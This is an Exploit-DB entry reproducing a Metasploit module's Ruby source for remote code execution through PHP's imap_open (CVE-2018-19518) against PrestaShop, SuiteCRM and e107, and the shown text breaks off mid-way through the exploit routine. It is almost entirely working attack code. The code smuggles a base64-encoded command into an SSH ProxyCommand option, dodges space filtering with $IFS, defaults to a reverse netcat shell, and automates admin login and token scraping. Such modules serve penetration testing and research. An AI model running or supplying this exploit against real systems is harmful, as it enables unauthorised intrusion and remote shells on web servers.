Exploit-DB #45914
Description: PHP imap_open - Remote Code Execution (Metasploit)
Type: remote
Platform: linux
Date: 2018-11-29
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'php imap_open Remote Code Execution',
      'Description'     => %q{
        The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an
        IMAP session.  On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary.  Ssh's ProxyCommand
        option can be passed from imap_open to execute arbitrary commands.
        While many custom applications may use imap_open, this exploit works against the following applications:
        e107 v2, prestashop, SuiteCRM, as well as Custom, which simply prints the exploit strings for use.
        Prestashop exploitation requires the admin URI, and administrator credentials.
        suiteCRM/e107/hostcms require administrator credentials.
      },
      'Author' =>
        [
          'Anton Lopanitsyn', # Vulnerability discovery and PoC
          'Twoster', # Vulnerability discovery and PoC
          'h00die' # Metasploit Module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'URL', 'https://web.archive.org/web/[PII_REDACTED]3536/https://antichat.com/threads/463395' ],
          [ 'URL', 'https://github.com/Bo0oM/PHP_imap_open_exploit' ],
          [ 'EDB', '45865'],
          [ 'URL', 'https://bugs.php.net/bug.php?id=76428'],
          [ 'CVE', '2018-19518']
        ],
      'Privileged'  => false,
      'Platform'  => [ 'unix' ],
      'Arch'  => ARCH_CMD,
      'Targets' =>
        [
          [ 'prestashop', {} ],
          [ 'suitecrm', {}],
          [ 'e107v2', {'WfsDelay' => 90}], # may need to wait for cron
          [ 'custom', {'WfsDelay' => 300}]
        ],
      'PrependFork' => true,
      'DefaultOptions' =>
        {
          'PAYLOAD' => 'cmd/unix/reverse_netcat',
          'WfsDelay' => 120
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 23 2018'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base directory path", '/admin2769gx8k3']),
        OptString.new('USERNAME', [ false, "Username to authenticate with", '']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
      ])
  end

  def check
   if target.name =~ /prestashop/
      uri = normalize_uri(target_uri.path)
      res = send_request_cgi({'uri' => uri})
      if res && (res.code == 301 || res.code == 302)
       return CheckCode::Detected
      end
    elsif target.name =~ /suitecrm/
      #login page GET /index.php?action=Login&module=Users
      vprint_status('Loading login page')
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'vars_get' => {
          'action' => 'Login',
          'module' => 'Users'
        }
      )
      unless res
        print_error('Error loading site.  Check options.')
        return
      end

      if res.code = 200
        return CheckCode::Detected
      end
   end
   CheckCode::Safe
  end

  def command(spaces='$IFS$()')
    #payload is base64 encoded, and stuffed into the SSH option.
    enc_payload = Rex::Text.encode_base64(payload.encoded)
    command = "-oProxyCommand=`echo #{enc_payload}|base64 -d|bash`"
    #final payload can not contain spaces, however $IFS$() will return the space we require
    command.gsub!(' ', spaces)
  end

  def exploit
    if target.name =~ /prestashop/
      uri = normalize_uri(target_uri.path)
      res = send_request_cgi({'uri' => uri})
      if res && res.code != 301
        print_error('Admin redirect not found, check URI.  Should be something similar to /admin2769gx8k3')
        return
      end

      #There are a bunch of redirects that happen, so we automate going through them to get to the login page.
      while res.code == 301 || res.code == 302
        cookie = res.get_cookies
        uri = res.headers['Location']
        vprint_status("Redirected to #{uri}")
        res = send_request_cgi({'uri' => uri})
      end

      #Tokens are generated for each URL or sub-component, we need valid ones!
      /.*token=(?<token>\w{32})/ =~ uri
      /id="redirect" value="(?<redirect>.*)"\/>/ =~ res.body
      cookie = res.get_cookies

      unless token && redirect
        print_error('Unable to find token and redirect URL, check options.')
        return
      end

      vprint_status("Token: #{token} and Login Redirect: #{redirect}")
      print_status("Logging in with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
      res = send_request_cgi(
        'method' => 'POST',
        'uri'    => normalize_uri(target_uri.path, 'index.php'),
        'cookie' => cookie,
        'vars_post' => {
          'ajax' => 1,
          'token' => '',
          'controller' => 'AdminLogin',
          'submitLogin' => '1',
          'passwd' => datastore['PASSWORD'],
          'email' => datastore['USERNAME'],
          'redirect' => redirect
        },
        'vars_get' => {
          'rand' => '[PII_REDACTED]10' #not sure if this will hold true forever, I didn't see where it is being generated
        }
      )
      if res && res.body.include?('Invalid password')
        print_error('Invalid Login')
        return
      end
      vprint_status("Login JSON Response: #{res.body}")
      uri = JSON.parse(res.body)['redirect']
      cookie = res.get_cookies
      print_good('Login Success, loading admin dashboard to pull tokens')
      res = send_request_cgi({'uri' => uri, 'cookie' => cookie})

      /AdminCustomerThreads&token=(?<token>\w{32})/ =~ res.body
      vprint_status("Customer Threads